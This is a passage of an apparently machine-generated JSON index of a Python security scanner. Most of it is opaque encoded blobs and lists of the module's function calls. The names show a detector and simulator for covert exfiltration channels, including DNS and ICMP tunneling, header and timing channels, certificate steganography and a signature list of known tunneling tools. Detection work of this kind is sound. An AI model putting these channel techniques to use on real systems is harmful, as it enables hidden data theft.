"efDX%iTM#LarR^HarU.Fd)k16wmoN*twmv=juK-CdiHb-wmoN*twkigatEdearR^HCw7YbwGV4pk0y8zhAzf/arR^HarR!FauZ?}B08!LfNc5RmN!*Hd\u003cclYau?$if/yD/arR^HA+funA=91GB08!LfNc5RmN^Z(3s)ZWayxh7zfoV6By!/?wPz)1B97#azZW4SeJ$pBx\u003e4", "ln": 19704, "col": 32, "line": 483 }, { "b": "By/8[zF%fdvq][9e*qF-3lQDlaAIa7A+ftnjS[hTq=DgQpASO8lScuLa{]CnarUbKg:1}7vQTs?hz^3}hz!#.v@C)?d05%fA+ftwe[wK6z!9Acdgcz8arR!EwPS6nzu", "ln": 19911, "col": 33, "line": 491 }, { "b": "iV@2UzGwf-zeA\u003c4BrAZ?DTX(\u0026EiHiHarR^HarR^HarR^HarR^Hb5.gab03?\u003cga\u003epte\u0026UWwe?[$kf/7:AfFk7jf/7183lQDlarR^HarR^HarR^Har\u003eAiwO+)3iV]RGe\u0026tsyB#7mfCYWImB7]MgiV@rKBAp@2AaHRhz/6u5zGE6N3lQDlarR^HarR^HarR^Hao", "ln": 20586, "col": 26, "line": 509 }, { "b": "xcF(larR^HarR^HarR^HarR^Hb4V1cze:r5b03\u0026Ub6dsox\u003c\u003e*MB.$P0AV^H/DUEwte[Pcxzc{:$By/IwxKL%}y?WuhB7!#qh8V\u003e7wN/:(Bsw?Mx\u003eI0#BsnOxiX-r]efDrHx\u003eF!xEiHiHarR^HarR^HarR^HarR^Hb4+L2y?a.Jar\u003cf:A==2cx\u003e7N[wIc[)A+O@#piyz.wPw$C3lQDlarR^HarR^HarR^Har\u003er7Aa9l\u003cBA]5\u003ear(m\u0026fD:?IBy/Ioc[$", "ln": 20874, "col": 47, "line": 515 }, { "b": "y+u[Qa{]CnarU-pv@=d5auZ\u0026Rb2}JmuQWZSpEEStuSfxXqBKLe3lQDlar@16wPRQ7wfrP/av{6*eOe*fz!9A\u0026aAg+hxDRwcxkIi$BAm^iarR!uwQ4M[zEWP}wN(]DaAI8", "ln": 22022, "col": 48, "line": 540 }, { "b": "x(ktjwQ4N6wOk\u003c\u003ezGG}G3lQDlar@16wPRQ7wfrS*avoHTwI#v/Aa9\u003c4aAIabzdNQbA%:3jarUbKg:1}7vQTs?hz^4eA+]/9w[tsUhz!#.v@C)?d05%fA+ftwe[wK6z!9Acdk2TZBAh8mc)y!#dgdguarUbKg*+rnxkIi$BAnM/ax@qkg*sVPx!7[@t{9-$AV/6sx(k5lvqYZ?c[)g{y?mGjvM34(efDV9dp0o6arR!ohz!=Wvruf9jS\u003e}4a%nxUa$\u003eb)yhW*7c$k7\u003e", "ln": 22242, "col": 28, "line": 545 }, { "b": "vruf9q!oPUwO#Qha$K6zarR^HarR^HarR^HarR^JwQ4T2Abo8)B-IpxiV@2UxMOunB2\u003e%cByxi5wPPLmz/6\u0026mwQ4N3vrugha$K6zarR^HarR^HarR^HarR^JAa9\u003c4b03\u0026WwQ4N3vrufl3lQDlarR^HarR^HarR^Har\u003e=kBzb2$wO#d5xD/FWy?mGjxK#A}Aa9\u003c4dj+/GarQ", "ln": 22738, "col": 31, "line": 557 }, { "b": "rz(Hkmq=QNwnb{]a$K6zarR^HarR^HarR^HarR^JwQ4T2Abo8)B-IpxiV@2UxMOunB2\u003e%cByxi5wPPLmz/4doAa{$Lwn=Q1y?l%+zEWP}wN{iked9HxarR^HarR^HarR^HarR\u003etzEWP}wN]d!vrufbiV}%KBZ/e#uUaa+z!9A\u0026ed9HxarR^HarR^HarR^HarR\u003eswN/T?wN(#CaAI8", "ln": 23371, "col": 33, "line": 573 }, { "b": "zfoVpx(E)5wPxjbarR^HarR^Hv}Z15yHp)(zE\u003c}Naz8*Av@DK4A=+Vfx)KtKCZS?qtY7.)arR^HarR^Hv}Z15yJzapAbYxawgh^iarR^HarR^HarR^Hb6ds9A+fu1vTi6bb03\u0026RxMtIgD30R8C42hoed9HxarR^HarR^HarR\u003eqD30R8xK#AjiV@2UfNd}ND30R8C42hFfFW)3a$K6zarR^HarR^HarR^Jv}Z15yHqc%DsZC]wN/B\u003evqEbGay/tkwPz)1B7]@ied9HxarR^HarR^HarR\u003erxMXiduVP}cwNxaZCP]f\u003ev}Z15yHp)(zE\u003eCwBAh8mc[cXOarR^HarR^HarR^Hb4CLmwPz)1wmYO0viN-PvTi4", "ln": 24269, "col": 46, "line": 595 }, { "b": "q=Uq5diIA9v@C)?c]rv}o*IYJc]0d[oHRY8hZ]\u003eNo*IYJuRr*\u003cc]iRct{8%fsXIQSl)%Vue?4bIarR^KawDA?xM4A7f/*BDA:-/@az+Rbxlm/fwO#0@wmY*8wmoN*3lQDl", "ln": 25965, "col": 39, "line": 639 }, { "b": "wGUU$vpS}\u0026iV{b3i58K7mOcu9By/YsaA8jez!9Adas!NNvr(WcvpS.YwO}?$arR^HarR!uwNPaXAV^H/vTi6bB0$lDCSmAeaAg+my\u0026r-)uU\u003cp\u003et}3a6arR^HarR!sA:-/@uU0.\u0026vqfL0e[5ZrwO#3bDKp(rarR^HarR^HarR\u003eHwN/:(ByeH5By=TSay/89c$mEzwNxQ?y:*Gvw/@(+auR!fvTi6buV]\u003c]auQ=3gb*s!y\u0026:egw*e{NDT.nxwNxQ?y=Tm9CZQ+!3lQDlarR^HarR^Har\u003eouBy!/)wQ2yWaz8/KCZA[BBy!*5vqE$Ugi!i\u003eed9HxarR^HarR^HarR\u003euA:-/@uUB1VwmY^*xK#AjiV@9EvpS}\u0026e[!*vc[cXOarR^HarR^HarR^Hb5.Bgz!9A6iV]R2CRG", "ln": 26313, "col": 15, "line": 646 }, { "b": "wGV5rx()\u0026#x(mL\u003carR^HboP^3v@C)?B2\u003eA$CRIv6wQ5qFatw3}jZ@byvrcSAatw41j.5qDB7D)BfNbPvAa%i5efDS\u003ek%og9zF6q0arR^KavQfTz!9A4g9y4uBAnNzwPw]9A:-/@aA?EcaA8jez!9A4B7Gf0v@#B6zvdHearUPwv@C)?uU%j\u003cauZ\u0026]3lQDlarR^Hatw3{iV]R2fD@4\u003cfNbular\u0026G]a$K\u0026\u003cCSm-ba#7+}efDS\u003eixwobf!\u003c\u003e63lQDlaBK", "ln": 26767, "col": 22, "line": 657 }, { "b": "v@Dj3z/cW=pe--.C4CXCnk@L+qY]T?wn(E3zGG}barR^Hwn=c*wO#3$z!T9hB09Q*tm8F}arR^HarR\u003cYwnVDuADL\u0026kC{j^DarR^HarR^Ha$)FAB1IxOwPA5XwnVDKa$K6zarR^HarR^JflgSBz!%Pdkw\u003c[DwJ.j*3lQDlarR^Har\u0026EEAa{$ozGv0M3lQDlaybrYarR^Hw]zYjwPe=azxJFdxKts*wn(E3zGG}X3lQDlarR^HaAz4mA3dp^xA", "ln": 29873, "col": 13, "line": 728 }, { "b": "arR^HarR^HarS9:3lQDlarR^HarR^HarR^HarR^HarR^Haz2.gwmYT*wJ:SHmq=TPz!T9hiV@=XAd6nWlVl\u003c:wO#Pwrc-B]iV@=Vz/fVdzGGlcD2NtyefEx0BAhqsC@^6{wO#Qgz/x$.e\u002643!a$K6zarR^HarR^HarR^HarR^HarR^HarR!nB8$]mj-\u003eaMxjVfo3lQDlarR^HarR^HarR^HarR^HarR^HaAhmkzGG@bwmYp]v@#o)jUX/B3lQDlao", "ln": 31362, "col": 15, "line": 761 }, { "b": "arR^HarR^Hwo8l\u0026wm6y/z/PzLB7]n\u003eb4L.9vpS.^v@Dy0b3=-barR^HarR^HarR^HarR^HarR^HarR^HA+f90wnbE]x(v(Lc\u003c?7tarR^HarR^HarR^HarR^HarR^HarR^HarR\u003eawPI%lx\u003e8lcl@3Vjz*2YjeL5\u0026up/wGUzY\u0026FhBzbPkx)Ku3aAz4mz!%PdA=S\u0026Qo(B]-Bz(gxl@3V6a{]CnarR^HarR^HarR^HarR^HarR^HarR^HarR\u003eFB.bN", "ln": 31579, "col": 17, "line": 765 }, { "b": "wPz\u0026vEj=S^3lQDlarR^HarR^HarR^Haz8/)z/PY6y-)z5vpS}\u0026aA?gfB.bRpxKM6}az2CjA=k]xauQ=[B7]n\u003ecUmgqA=k]xuVY$4wPIK6y?a]0Ej=S^3lQDlarR^HarR^HarR^Haz8/*x\u003eI94wO#Qgz/x$AB9hbdwPI%maz2C2z!9A\u0026aA8oywO#0#", "ln": 35212, "col": 78, "line": 843 }, { "b": "aAg+my\u0026r-)B1OTzarR^HarR^HarR^Hdj+/GarR^HarR^HarR!rC4\u003eF#zEWlvyiarhe[x9wAc0BGB-RIov}/\u003e7B6\u0026P(vpS}\u0026B6\u0026J$B-7.vazC.7wO#PMgas:YarR^HarR^HarR^HvrlH3BuK.OA+w%9ed9HxarR^HarR^HarUSwx(n3luU0.UBZ]J8wizU3ed8", "ln": 35365, "col": 61, "line": 845 }, { "b": "arS9Z3jm)#arR)KlUH4vyANkcAV!\u003egz!\u003c5#az\u003eL8x(Fihvruj4zxKalv@#TfA%:3jarUfjz!\u003c5#B09Q*xK$Q.wPz\u0026AxjVfkb6dsqeN@ZqyIvu7efDbXdgdguarUxgay/tdyIvv3iTM#LarR^HarUfjz!\u003c5#uUaa%A=k]xauZ\u0026OB7/01zF%A1wO#Qgz/x$Iv@Dp3x\u003equm3lQDlarR^HazCBgv@Dp3x\u003epT.zGG]qAcSM\u0026jS[/WxiMM\u003ezGG]qAcU^", "ln": 36744, "col": 7, "line": 876 }, { "b": "jS[AWBz$PaA=kz#c\u003c?7tarR^HarR^HarUnuDTZA8wNxO2y\u003c^%3uVXCTx(n2vBzkP6e{7/AwHF#IdJ*D1fFB@7uWDHna$K6zarR^HarR^HarR!Gx(dB1B-Y=*x(dB1B-YeSC4CYdw{E:9y\u0026.:.wPzG%D0+VfB1wCIx(dNawPx}AwObv[y\u0026\u003c32x(dNawPxseao", "ln": 38497, "col": 14, "line": 923 }, { "b": "v}xX5x\u003ez6?vru6jA+f5}By!#9xK$Q.wPz\u0026mw]zYjB97#azY\u0026+iwnbKZBz(hv3lQDlazbLjaztb1vqPNbaztb9vqH6$azCZov}xX5uUB1VwmY!5e[]Aszf49OiTM#Lao", "ln": 47067, "col": 19, "line": 1134 }, { "b": "az2C2z!9N1x9]+7arR^HarR\u003cYa%nxUa$\u003eb)yhW*7c%HpcB7G0hx/W}8CZQ+Uw]zYjx=}bcaAy[dxjSFGdp1wN3lQDlaybrYarR^Hw]zYjAa9\u003c4azCZoBy/JnuVoB}xMDiwarR^HarR^HA+frhauZ\u0026XBAzFeAb](awHE)darR^HarR^HarR!sb70^cB7FZ3A+{eJAa9\u003c4Ee", "ln": 51038, "col": 16, "line": 1216 }, { "b": "q^gCQxMXidwN]dVzEWP}x(mM\u003cvpBw2wG\u003ey!3lQDlar@1bwPq\u003c7B95KGx([2hl1szoAc9W2zEWP}x(mMaBz\u0026pvz//MdBzkf1y\u003cvdBA+Pf0wPw]6xMXidwN({7wPI*ezGxxg3lQDlaAz4mA3dp^xMOunuVp47vR3}{arR^HarR^HvQTs?uV*y9ed9HxarR^HarUuevpS{", "ln": 55797, "col": 28, "line": 1312 }, { "b": "A+eV\u0026uVPZ}A+cC2ed9HxarR^HarR^HarUYozdNl(vruj4zAPxParR^HarR^HarR^HarR^Hb2Aq\u003ew[u09lVl\u003c:wO#PwoL59OBz8!nC4CXpv}Z15yH}30wO#0@wnb{]aA}HgA+cwjz/Y#lvR/QdawD=(x([olar?dnarR^HarR^HarR^HarR^Jv}Z15yANXjDsXjfx(!xpx\u003c#jbx(v)gazbLjayPeazddl{wPGEDnO@A.wO(0@BrCBmwmPH/CvtJ6aAN", "ln": 57160, "col": 31, "line": 1342 }, { "b": "A:J-%uVZHgauZ\u0026Kt).X%arR^HarUomAV/ACx(k56xMXiduVoB}By/GgiTM#LarR^HarR^HarU\u0026oy-\u003e\u003e-x(n2vB1wB*hyO$QarR^HarR^HarR!vw/#n9y-\u003e[:fD:!wwfrpzvqE5kasIzwy-\u003eqLf!1K]aW3@4iV]K\u0026az#ataAhmywPw]iw/@\u0026oarR^HarR^HarR^HarR^HzF%A1AbP@iA:J-%uVZHge[5ZrwO#3bC42ho3jm)#arR^", "ln": 58904, "col": 17, "line": 1381 }, { "b": "AV!B{vPdhPyH}PgB-p#lvpS{(wO#3$z!T9hA%:3jarU(HuVoB}xMCpVax]f}arR^HarR^Jfl.EYefDb\u0026Cv+l8z!0M]BrSmUa$[1Qv@2T$a$K\u0026XfkLuCwG\u0026VjarR^HarR^Ha$)wzx!KWKa$K\u0026Xfjw*lflZ#pB8LM7wPPaEar\u0026EEAa{$Dz!0M]BrSmyarR^HarR^Ha$)CtvrseDB0rdTa$)$FvqH41zdK[xar\u0026EWBAg@3z6yIrarR^HarR^Ha]", "ln": 60511, "col": 15, "line": 1421 }, { "b": "yH}Pied9HxarR^HarR^HarR^HarR\u003c}z/fD7v@#B6zx.a:b2@O{A:-G\u0026a$K6zarR^HarR^HarR^HarR^Jq!oC\u003cs7L\u0026tz!0M]Bs*c%C{ko(vQTs?hz^3}hz!#.v@C)?c$jxvwN/T@Ab]\u003eGv@DK4A=-)Ov{%m0dk2dxv@C)?c[cXOarR^HarR^HarR^HarR^Hb2-5.eMVH)q/ueYwPPI8wPz\u003caz/c:War\u0026J@a$K6zarR^HarR^HarR!Ped9HxarR^HarR^HarU=uzdNTdBuK.WzdNTdBsXLTwPzG%D0+VfB3jXTA+PchuVZa9efF+yze196AY)@Aw)]*#Bye\u0026#ze196AX4LuarR^HarR^Q3jm)#arR^HarUxgaAz4mA9A", "ln": 60924, "col": 35, "line": 1435 }, { "b": "BAp/3z/]@de[5ZrwO#3bDKp(rarR^HarR^HarR^HarR\u003eEvrufbiV@xIBz9ijarR^HarR^HarR^HarR^Hb6d\u003cmBAITGiV{dhf!rUOarR^HarR^HarR^HarR^JxK$Q.wPz\u0026oiV}%Ev@%btwPI/yxjVfkb4$K@wmY!5a$K\u003c-EjlP@3lQDlarR^HarR^HaBLWCarR^HarR^HwO=6)aAz4mA9BJcByxolB0s)jx(k4wg+ZQmat+=defD=8hyP+!AV/ylB8Utcz!*L5iTM#LarR^HarR^HarR)Kg+{%ijS):zxl4A\u003ewGT(ZADL#owN)tmx(mD}v{%E\u003cB0aK.aAIWAAbP=s3lQDlarR^HarR^HazCBgA+frhtoXcgvruTkb3=rOjS(NphAzf/arR^HarR^HarR^HarR!JB6\u0026G@wn(E3zGG@bw]z*fwg^", "ln": 61309, "col": 23, "line": 1445 }, { "b": "wO#Q7v{%E\u003caxJb-q/ueYwPP58z/fD7v@#B6zGu{GBz\u003e@azxJUhazth3wohA)yH[}Eaw3A?y?mD{zGE0B3lQDlarR^HarR^HarR^Har\u003e\u0026mBy=Ohx(dNax(mMaAaK5jv/", "ln": 63000, "col": 22, "line": 1482 }, { "b": "arR^HarUc4B7FZ3A+)=VlsB}DaxqrkazbLjav]Ehp-%Z$z^)p0asH!Nxd+qOxMOunB2\u003e%cwQ4T2Abo8rv@Diidj$@IarR^HarR!Gx(dB1B-YU!p?sV0A+flkwPI@oBzkP6z/{dAx(k5mwN/T@wofvgarR^HarR^HC4CYdw{E:9y\u0026.SWs7(e!xK#ibBz\u0026pBwPzG%C{36WqY]M", "ln": 66520, "col": 3, "line": 1562 }, { "b": "t{8oMtu}NyarR^HboV0gFz#/zaw=-WB7DEGiV}syzxJw7y-)n1By!%7z/P[w\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%2arR^Hw]zYjv}Yp*zE)S\u003ezEEx[efFFmBy!%7z/Ph%zxJUhayvJ9r7feNpF$aL3lQDlarR^HaARTHiTM#LarR^HarR^HarUYoB9hqvB09Q*wmY\u003c]v@#TfuUjf", "ln": 66821, "col": 31, "line": 1569 }, { "b": "arR^HarR^HarR!ny\u00260D\u003cx(mD}zFa2ywQ5rdzE+eowPJ0gBAn(rarR^HarR^HwQ4Y@Ac9i\u003eCW\u003er7BzkVhiTM#LarR^HarR^HarR)KnP56MC4\u003eGfvqE5%wPRG[Bz(gxw)]y\u0026B-I5maz(mxBrCEtBrC7lvrl98BzbkdwO#Q7A+cwgz!a0bwEoL5arR^HarR^HarUfjzGGPg", "ln": 67117, "col": 2, "line": 1575 }, { "b": "LZ}+TFfmW4vrl05gccKFwO#71vru66wN]{[vruj4zEEu7B7]Gly*?B1z/fRs\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8-arR!Fx(e0evruj4zEmEczeAZ4C@^6ox\u003e8l?B98BNavf)\u003ct{8oMDWMkzarR!sz/M$gxKL^@wO+Z\u003evqPNbaAImlB.\u003eGdz/Ph%zxJUhax7\u003carzkXTpF$azx(\u003c", "ln": 67288, "col": 8, "line": 1580 }, { "b": "3jm)#arR)K\u0026/[#MLZ\u003c(MxKL%[atV53pJ*q\u0026vqG:5A+PPgayPtjwPI{fwO#Pj\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFc)zwarUuixj$T[wP?A\u003cz/]@tauZ\u0026*B.@JYazbLjaz8:gzxJw7y*Q^*zE^E0xlbhfw/$XrB7GJaA+PSvazCZoc)Aewx([60vqEbsar\u003eGkxj@FrdgdguarU=ABn", "ln": 69331, "col": 11, "line": 1624 } ], "depth": 1, "facts": { "imp": [ [ "", "freq.get" ], [ "", "len" ], [ "", "freq.values" ], [ "", "math.log2" ], [ "", "CHANNEL_SIGNATURES.get" ], [ "", "sig.get" ], [ "", "_shannon_entropy" ], [ "", "len" ], [ "", "math.log2" ], [ "", "len" ], [ "", "data.lower" ], [ "", "ch.isalnum" ], [ "", "freq.get" ], [ "", "sum" ], [ "", "freq.values" ], [ "", "sum" ], [ "", "freq.values" ], [ "", "base64.b32encode.decode.rstrip" ], [ "", "base64.b32encode.decode" ], [ "", "base64.b32encode" ], [ "", "range" ], [ "", "len" ], [ "", "labels.append" ], [ "", "enumerate" ], [ "", "breakdown.append" ], [ "", "len" ], [ "", "base64.b32decode.hex" ], [ "", "base64.b32decode" ], [ "", "len" ], [ "", "round" ], [ "", "_shannon_entropy" ], [ "", "secret.decode" ], [ "", "len" ], [ "", "len" ], [ "", "base64.b64encode.decode" ], [ "", "base64.b64encode" ], [ "", "range" ], [ "", "len" ], [ "", "int.from_bytes" ], [ "", "math.factorial" ], [ "", "len" ], [ "", "header_set.copy" ], [ "", "range" ], [ "", "min" ], [ "", "len" ], [ "", "len" ], [ "", "secret.decode" ], [ "", "round" ], [ "", "_shannon_entropy" ], [ "", "len" ], [ "", "enumerate" ], [ "", "secret.decode" ], [ "", "int" ], [ "", "math.log2" ], [ "", "math.factorial" ], [ "", "len" ], [ "", "int" ], [ "", "math.log2" ], [ "", "math.factorial" ], [ "", "len" ], [ "", "len" ], [ "", "len" ], [ "", "range" ], [ "", "len" ], [ "", "int" ], [ "", "len" ], [ "", "int" ], [ "", "min" ], [ "", "multi_bit_pairs.append" ], [ "", "pair.ljust" ], [ "", "secret.decode" ], [ "", "int" ], [ "", "round" ], [ "", "sum" ], [ "", "round" ], [ "", "sum" ], [ "", "struct.pack" ], [ "", "_internet_checksum" ], [ "", "struct.pack" ], [ "", "payload.hex" ], [ "", "payload.decode" ], [ "", "len" ], [ "", "len" ], [ "", "packet.hex" ], [ "", "len" ], [ "", "range" ], [ "", "len" ], [ "", "base64.b64encode.decode" ], [ "", "base64.b64encode" ], [ "", "round" ], [ "", "_shannon_entropy" ], [ "", "int.from_bytes" ], [ "", "hashlib.sha256.digest" ], [ "", "hashlib.sha256" ], [ "", "b64.lower" ], [ "", "secret.hex" ], [ "", "range" ], [ "", "len" ], [ "", "base64.urlsafe_b64encode.decode.rstrip" ], [ "", "base64.urlsafe_b64encode.decode" ], [ "", "base64.urlsafe_b64encode" ], [ "", "range" ], [ "", "len" ], [ "", "urllib.parse.quote" ], [ "", "urllib.parse.quote" ], [ "", "secret.decode" ], [ "", "len" ], [ "", "len" ], [ "", "secret.decode" ], [ "", "len" ], [ "", "len" ], [ "", "secret.decode" ], [ "", "secret.decode" ], [ "", "chunks.append" ], [ "", "chr" ], [ "", "chunk_line.strip" ], [ "", "round" ], [ "", "_shannon_entropy" ], [ "", "chunk_line.strip" ], [ "", "bytes" ], [ "", "frame_details.append" ], [ "", "chr" ], [ "", "header.hex" ], [ "", "range" ], [ "", "len" ], [ "", "opcode_map.items" ], [ "", "opcode_frames.append" ], [ "", "opcode_map.items" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "headers.get" ], [ "", "content_type.lower" ], [ "", "_entropy_for_channel" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "probe_resp.get" ], [ "", "tool.lower" ], [ "", "body.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "headers.items" ], [ "", "header_name.lower.startswith" ], [ "", "header_name.lower" ], [ "", "prefix.lower" ], [ "", "_entropy_for_channel" ], [ "", "suspicious_headers_found.append" ], [ "", "len" ], [ "", "len" ], [ "", "round" ], [ "", "high_entropy_headers.append" ], [ "", "_shannon_entropy" ], [ "", "high_entropy_headers.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "json.dumps" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "json.dumps" ], [ "", "headers.get" ], [ "", "_shannon_entropy" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "range" ], [ "", "time.monotonic" ], [ "", "http_probe" ], [ "", "int" ], [ "", "time.time" ], [ "", "time.monotonic" ], [ "", "timings.append" ], [ "", "range" ], [ "", "sum" ], [ "", "sum" ], [ "", "math.sqrt" ], [ "", "float" ], [ "", "round" ], [ "", "set" ], [ "", "indicators.append" ], [ "", "indicators.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "body.lower" ], [ "", "icmp_indicators.append" ], [ "", "icmp_endpoints_found.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "json.dumps" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "tool.lower" ], [ "", "body.lower" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "headers.items" ], [ "", "h_name.lower" ], [ "", "any" ], [ "", "cert_headers.items" ], [ "", "_entropy_for_channel" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "re.findall" ], [ "", "match.strip" ], [ "", "_shannon_entropy" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "range" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "any" ], [ "", "path.split" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "re.findall" ], [ "", "_shannon_entropy" ], [ "", "urllib.parse.urlparse" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "headers.get.lower" ], [ "", "headers.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "resp2.get.get.lower" ], [ "", "resp2.get.get" ], [ "", "resp2.get" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "re.findall" ], [ "", "int" ], [ "", "non_power_of_two.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "http_probe" ], [ "", "base64.b64encode.decode" ], [ "", "base64.b64encode" ], [ "", "ws_endpoints_found.append" ], [ "", "dict" ], [ "", "resp.get" ], [ "", "ws_endpoints_found.append" ], [ "", "any" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "json.dumps" ], [ "", "http_probe" ], [ "", "resp.get" ], [ "", "re.findall" ], [ "", "ws_js_indicators.append" ], [ "", "sum" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "json.dumps" ], [ "", "detector_fn" ], [ "", "all_findings.extend" ], [ "", "SIMULATORS.items" ], [ "", "simulator_fn" ], [ "", "list" ], [ "", "simulation_summary.keys" ], [ "", "simulation_summary.items" ], [ "", "sim_data.get" ], [ "", "sim_evidence_parts.append" ], [ "", "all_findings.append" ], [ "", "Finding" ], [ "", "sum" ], [ "", "sum" ], [ "", "min" ], [ "", "all_findings.append" ], [ "", "Finding" ], [ "", "round" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..http_layer.default_limiter" ], [ "", "..http_layer.http_probe" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "Tuple" ], [ "", "base64" ], [ "", "hashlib" ], [ "", "json" ], [ "", "math" ], [ "", "re" ], [ "", "struct" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.parse" ] ], "mbr": [ "CHANNEL_SIGNATURES.cert_steganography", "CHANNEL_SIGNATURES.chunked_encoding_abuse", "CHANNEL_SIGNATURES.dns_tunneling", "CHANNEL_SIGNATURES.dns_tunneling.known_tools", "CHANNEL_SIGNATURES.get", "CHANNEL_SIGNATURES.http_header_covert", "CHANNEL_SIGNATURES.icmp_tunnel", "CHANNEL_SIGNATURES.timing_channel", "CHANNEL_SIGNATURES.url_path_encoding", "CHANNEL_SIGNATURES.websocket_frame", "SIMULATORS.items", "all_findings.append", "all_findings.extend", "b64.lower", "base64.b32decode", "base64.b32decode.hex", "base64.b32encode", "base64.b32encode.decode", "base64.b32encode.decode.rstrip", "base64.b64encode", "base64.b64encode.decode", "base64.urlsafe_b64encode", "base64.urlsafe_b64encode.decode", "base64.urlsafe_b64encode.decode.rstrip", "body.lower", "breakdown.append", "c.chunk_size_decimal", "cert_headers.items", "ch.isalnum", "chunk_line.strip", "chunks.append", "content_type.lower", "data.lower", "ep.path", "ep.status", "f.dread_score", "f.severity", "findings.append", "frame_details.append", "freq.get", "freq.values", "h.name", "h_name.lower", "hashlib.sha256", "hashlib.sha256.digest", "header.hex", "header_name.lower", "header_name.lower.startswith", "header_set.copy", "headers.get", "headers.get.lower", "headers.items", "high_entropy_headers.append", "icmp_endpoints_found.append", "icmp_indicators.append", "ind.count", "indicators.append", "int.from_bytes", "json.dumps", "labels.append", "match.strip", "math.factorial", "math.log2", "math.sqrt", "multi_bit_pairs.append", "non_power_of_two.append", "opcode_frames.append", "opcode_map.items", "p.delta_s", "packet.hex", "pair.ljust", "parsed.path", "path.split", "payload.decode", "payload.hex", "prefix.lower", "probe_resp.get", "probe_resp.ok", "re.IGNORECASE", "re.MULTILINE", "re.findall", "resp.get", "resp.ok", "resp.status", "resp2.get", "resp2.get.get", "resp2.get.get.lower", "secret.decode", "secret.hex", "sig.bandwidth_estimate", "sig.dread_score", "sig.entropy_threshold", "sig.get", "sig.known_tools", "sig.min_observations", "sig.name", "sig.severity", "sig.std_dev_threshold", "sig.stealth_score", "sig.suspicious_header_prefixes", "sig.suspicious_ou_min", "sig.suspicious_path_min", "sim_data.get", "sim_evidence_parts.append", "simulation_summary.items", "simulation_summary.keys", "struct.pack", "suspicious_headers_found.append", "time.monotonic", "time.time", "timings.append", "tool.lower", "urllib.parse", "urllib.parse.quote", "urllib.parse.urlparse", "ws_endpoints_found.append", "ws_js_indicators.append" ], "tgt": [ "CHANNEL_SIGNATURES.get", "Finding", "SIMULATORS.items", "_entropy_for_channel", "_internet_checksum", "_shannon_entropy", "all_findings.append", "all_findings.extend", "any", "b64.lower", "base64.b32decode", "base64.b32decode.hex", "base64.b32encode", "base64.b32encode.decode", "base64.b32encode.decode.rstrip", "base64.b64encode", "base64.b64encode.decode", "base64.urlsafe_b64encode", "base64.urlsafe_b64encode.decode", "base64.urlsafe_b64encode.decode.rstrip", "body.lower", "breakdown.append", "bytes", "cert_headers.items", "ch.isalnum", "chr", "chunk_line.strip", "chunks.append", "content_type.lower", "data.lower", "detector_fn", "dict", "enumerate", "findings.append", "float", "frame_details.append", "freq.get", "freq.values", "h_name.lower", "hashlib.sha256", "hashlib.sha256.digest", "header.hex", "header_name.lower", "header_name.lower.startswith", "header_set.copy", "headers.get", "headers.get.lower", "headers.items", "high_entropy_headers.append", "http_probe", "icmp_endpoints_found.append", "icmp_indicators.append", "indicators.append", "int", "int.from_bytes", "json.dumps", "labels.append", "len", "list", "match.strip", "math.factorial", "math.log2", "math.sqrt", "min", "multi_bit_pairs.append", "non_power_of_two.append", "opcode_frames.append", "opcode_map.items", "packet.hex", "pair.ljust", "path.split", "payload.decode", "payload.hex", "prefix.lower", "probe_resp.get", "range", "re.findall", "resp.get", "resp2.get", "resp2.get.get", "resp2.get.get.lower", "round", "secret.decode", "secret.hex", "set", "sig.get", "sim_data.get", "sim_evidence_parts.append", "simulation_summary.items", "simulation_summary.keys", "simulator_fn", "struct.pack", "sum", "suspicious_headers_found.append", "time.monotonic", "time.time", "timings.append", "tool.lower", "urllib.parse.quote", "urllib.parse.urlparse", "ws_endpoints_found.append", "ws_js_indicators.append" ], "funcs": [ [ "_shannon_entropy", 8477 ], [ "_entropy_for_channel", 9060 ], [ "_byte_entropy", 9450 ], [ "_index_of_coincidence", 9825 ], [ "_simulate_dns_tunneling", 10876 ], [ "_simulate_header_covert", 12534 ], [ 